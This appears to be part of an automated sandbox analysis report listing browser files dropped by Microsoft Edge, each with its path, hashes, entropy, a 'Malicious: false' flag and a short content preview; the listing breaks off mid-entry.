Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3008e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cbd69e16-1e0f-49e7-9090-d1a334ee264a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.111112957213591
Encrypted:	false
SSDEEP:	192:stmkdpBsH+cIa34HkL1282bV+FgjQA4YDq7NI2P3YJ:stmQBsH+cXUbGAQxV7NIr
MD5:	5805EE16F8E9F1633A744E941939A09C
SHA1:	DCA6DC2C4A24B0829D89B326F1E82CC541C30DF4
SHA-256:	FCFF659BF8D961F2F0326E15C2A595AA0C5F485C01A3C8FE45E0BB295EACACC9
SHA-512:	61277EEC3AD0C93B3BC247602AF57C1540C086F436FBA7B35976322CF886C907309744B6CFDE78D4F8557AF47ABF141661DA8E168C8A8A4AE42DBC07E528A11C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3398f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.111112957213591
Encrypted:	false
SSDEEP:	192:stmkdpBsH+cIa34HkL1282bV+FgjQA4YDq7NI2P3YJ:stmQBsH+cXUbGAQxV7NIr
MD5:	5805EE16F8E9F1633A744E941939A09C
SHA1:	DCA6DC2C4A24B0829D89B326F1E82CC541C30DF4
SHA-256:	FCFF659BF8D961F2F0326E15C2A595AA0C5F485C01A3C8FE45E0BB295EACACC9
SHA-512:	61277EEC3AD0C93B3BC247602AF57C1540C086F436FBA7B35976322CF886C907309744B6CFDE78D4F8557AF47ABF141661DA8E168C8A8A4AE42DBC07E528A11C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF37929.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.111112957213591
Encrypted:	false
SSDEEP:	192:stmkdpBsH+cIa34HkL1282bV+FgjQA4YDq7NI2P3YJ:stmQBsH+cXUbGAQxV7NIr
MD5:	5805EE16F8E9F1633A744E941939A09C
SHA1:	DCA6DC2C4A24B0829D89B326F1E82CC541C30DF4
SHA-256:	FCFF659BF8D961F2F0326E15C2A595AA0C5F485C01A3C8FE45E0BB295EACACC9
SHA-512:	61277EEC3AD0C93B3BC247602AF57C1540C086F436FBA7B35976322CF886C907309744B6CFDE78D4F8557AF47ABF141661DA8E168C8A8A4AE42DBC07E528A11C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3a171.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.111112957213591
Encrypted:	false
SSDEEP:	192:stmkdpBsH+cIa34HkL1282bV+FgjQA4YDq7NI2P3YJ:stmQBsH+cXUbGAQxV7NIr
MD5:	5805EE16F8E9F1633A744E941939A09C
SHA1:	DCA6DC2C4A24B0829D89B326F1E82CC541C30DF4
SHA-256:	FCFF659BF8D961F2F0326E15C2A595AA0C5F485C01A3C8FE45E0BB295EACACC9
SHA-512:	61277EEC3AD0C93B3BC247602AF57C1540C086F436FBA7B35976322CF886C907309744B6CFDE78D4F8557AF47ABF141661DA8E168C8A8A4AE42DBC07E528A11C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ee59.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.111112957213591
Encrypted:	false
SSDEEP:	192:stmkdpBsH+cIa34HkL1282bV+FgjQA4YDq7NI2P3YJ:stmQBsH+cXUbGAQxV7NIr
MD5:	5805EE16F8E9F1633A744E941939A09C
SHA1:	DCA6DC2C4A24B0829D89B326F1E82CC541C30DF4
SHA-256:	FCFF659BF8D961F2F0326E15C2A595AA0C5F485C01A3C8FE45E0BB295EACACC9
SHA-512:	61277EEC3AD0C93B3BC247602AF57C1540C086F436FBA7B35976322CF886C907309744B6CFDE78D4F8557AF47ABF141661DA8E168C8A8A4AE42DBC07E528A11C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4dbd5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.111112957213591
Encrypted:	false
SSDEEP:	192:stmkdpBsH+cIa34HkL1282bV+FgjQA4YDq7NI2P3YJ:stmQBsH+cXUbGAQxV7NIr
MD5:	5805EE16F8E9F1633A744E941939A09C
SHA1:	DCA6DC2C4A24B0829D89B326F1E82CC541C30DF4
SHA-256:	FCFF659BF8D961F2F0326E15C2A595AA0C5F485C01A3C8FE45E0BB295EACACC9
SHA-512:	61277EEC3AD0C93B3BC247602AF57C1540C086F436FBA7B35976322CF886C907309744B6CFDE78D4F8557AF47ABF141661DA8E168C8A8A4AE42DBC07E528A11C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557268212323932
Encrypted:	false
SSDEEP:	768:buwW3Y7pLGLPBkWPaofbm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVy7N1VrwIpq8tu8:buwW3EcPBkWPaofbmu1jazp1el8tz
MD5:	AFB1A745453CF6C0DA14BE79C3295AB7
SHA1:	B0E2B1BF369283135370E6E2DDA6A8DC32930E47
SHA-256:	86105BFE5DE327015036B03AD7967460E63DDF7E55D2C44B661B9D5D84ED823D
SHA-512:	2C406FF3E1272DA700B35A30B9A0FBF486137AF2491933CE39AB7D6841D5A13FC858491D6B6390453C037F32803C7D2A996298A8A2D7D6007436F3360E232447
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378492018992181","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378492018992181","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF339af.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557268212323932
Encrypted:	false
SSDEEP:	768:buwW3Y7pLGLPBkWPaofbm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVy7N1VrwIpq8tu8:buwW3EcPBkWPaofbmu1jazp1el8tz
MD5:	AFB1A745453CF6C0DA14BE79C3295AB7
SHA1:	B0E2B1BF369283135370E6E2DDA6A8DC32930E47
SHA-256:	86105BFE5DE327015036B03AD7967460E63DDF7E55D2C44B661B9D5D84ED823D
SHA-512:	2C406FF3E1272DA700B35A30B9A0FBF486137AF2491933CE39AB7D6841D5A13FC858491D6B6390453C037F32803C7D2A996298A8A2D7D6007436F3360E232447
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378492018992181","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378492018992181","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3a181.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557268212323932
Encrypted:	false
SSDEEP:	768:buwW3Y7pLGLPBkWPaofbm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVy7N1VrwIpq8tu8:buwW3EcPBkWPaofbmu1jazp1el8tz
MD5:	AFB1A745453CF6C0DA14BE79C3295AB7
SHA1:	B0E2B1BF369283135370E6E2DDA6A8DC32930E47
SHA-256:	86105BFE5DE327015036B03AD7967460E63DDF7E55D2C44B661B9D5D84ED823D
SHA-512:	2C406FF3E1272DA700B35A30B9A0FBF486137AF2491933CE39AB7D6841D5A13FC858491D6B6390453C037F32803C7D2A996298A8A2D7D6007436F3360E232447
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378492018992181","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378492018992181","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	115033
Entropy (8bit):	5.5778673099899905
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHFZkxf7O8XxcyOyLM:d9LyxPXfOxr1lMe1nL/CL/TXEmP7NWN
MD5:	A177B610CE80A8807A32FE991829BD18
SHA1:	AA5164F53C83B7774797E1CDDEC0B919850B4D25
SHA-256:	7178FFAA9FF8EAB6C2D0EB69A732CC46E045389E7E42EBA39221A4B118F06857
SHA-512:	3CD0644389DA423C0BF92465C3132906CE12A696A0709A9D8B5DBE99E98DC778B7A45F4C092422E2AD4845AE1254889F30D4F850041731CB4010EF3D5F219E5D
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	189537
Entropy (8bit):	6.38731598649605
Encrypted:	false
SSDEEP:	3072:X7hM/0JtT/MwuGrT1W0L/liMlB5UaJPvtM9gPtW:BMwRT1NL/U+8aVtDI
MD5:	7AC5FBE6C70B90D4423D2E8D6DEAAB52
SHA1:	D22EA867EC80524F255B8F08346E38DAE4153E67
SHA-256:	DC1B3316C452790A740DDDB5EEB0E61AE3546105D5F69B21C54C8C92891315D4
SHA-512:	89901F1F41D7365128B7A6EEA93C95BDC5A10663EB9B3D262BFC14A68B0BA8107EC90B823C02D3B11584D7D399865FD5BDC3C9CD3E856B36CDCBAC7AB338E591
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;T....x..........,T.8..`,.....L`.....,T...`......L`......Rc..t....exports...Rc...h....module....Rcz......define....Rb..v.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.NS..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....^...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:rCAcFE0Xl/l/V/lxE0tll3cBBln:uAcFze0mBBl
MD5:	30BBBB475BF268A3D200920DC2A18D71
SHA1:	45FB468640471CB645DB12F613693483DFF09D4E
SHA-256:	CE660CB0A8D5576E22B73C2143D5298ED2978B239CA0A603A1189BE5C66422C3
SHA-512:	472FBF644F1A47BC679940DEBFA2A133A62C5F4500F6CA7309D1E140AA41A5A9861AAA05A7ADDEE7D94A4E4817B19559E6B9A101A1C3E502A3277E81FD398452
Malicious:	false
Preview:	@.....+.oy retne.........................X....,................K.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:rCAcFE0Xl/l/V/lxE0tll3cBBln:uAcFze0mBBl
MD5:	30BBBB475BF268A3D200920DC2A18D71
SHA1:	45FB468640471CB645DB12F613693483DFF09D4E
SHA-256:	CE660CB0A8D5576E22B73C2143D5298ED2978B239CA0A603A1189BE5C66422C3
SHA-512:	472FBF644F1A47BC679940DEBFA2A133A62C5F4500F6CA7309D1E140AA41A5A9861AAA05A7ADDEE7D94A4E4817B19559E6B9A101A1C3E502A3277E81FD398452
Malicious:	false
Preview:	@.....+.oy retne.........................X....,................K.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF372ef.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:rCAcFE0Xl/l/V/lxE0tll3cBBln:uAcFze0mBBl
MD5:	30BBBB475BF268A3D200920DC2A18D71
SHA1:	45FB468640471CB645DB12F613693483DFF09D4E
SHA-256:	CE660CB0A8D5576E22B73C2143D5298ED2978B239CA0A603A1189BE5C66422C3
SHA-512:	472FBF644F1A47BC679940DEBFA2A133A62C5F4500F6CA7309D1E140AA41A5A9861AAA05A7ADDEE7D94A4E4817B19559E6B9A101A1C3E502A3277E81FD398452
Malicious:	false
Preview:	@.....+.oy retne.........................X....,................K.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5622c9c1-8839-46c1-a61d-1c162e6fdbd3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
